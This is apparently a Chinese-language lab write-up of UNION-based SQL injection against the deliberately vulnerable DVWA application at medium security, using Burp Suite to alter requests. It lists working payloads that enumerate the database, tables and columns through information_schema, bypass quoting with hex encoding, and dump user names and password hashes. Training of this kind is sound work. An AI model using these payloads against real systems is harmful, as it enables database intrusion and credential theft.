SQL Injection ,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍然是现在最常见的Web漏洞之一。
实验环境 :centos 7 32位 xampp版本1.7.3 DVWA 版本1.10 burpsuite 2.0
说明:xampp是一个易于安装的Apache发行版,其中包含MariaDB、PHP、Perl,下载并启动安装程序即可
dvwa(damn vulnerable web application)是一个用来进行安全脆弱性鉴定的PHP/Mysql web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范过程。dvwa代码分为四种安全级别:low、medium、high、impossible。
burpsuite 2.0 是用于攻击web应用程序的集成平台,包含了许多工具,并为这些工具设计了许多接口,加快攻击应用程序的过程。
具体实现在medium下的数据库sql注入,窃取库、表、字段的信息
搭建好靶机,设置medium级别,进入sql 注入界面,选择数字1确认,拦截报文,并改包为1 union select 1,database()--
如图所示,窃取到数据库名为dvwa,sql注入取得了第一步的胜利,接下来窃取数据库表名。
改包,注入
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
获取到了数据库表名guestbook 和users两张表,现接着窃取表users中的字段信息
改包1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--,由于包围users的单引号影响查询,现将其转义成16进制数0x7573657273即新的查询为
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--
如图,窃取到字段为user_id , first_name , last_name , user , password , avatar , last_login , failed_login 八个字段
接下来窃取数据字段的内容,获取此次sql注入的最后成果,为下一步的攻击和破坏做准备
改包 1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users--
结果获取到字段信息,现将sql查询内容贴出如下,sql注入完成了数据库 表 字段的窃取
总结:sql注入危害确实比较大,工作中要有防范意识。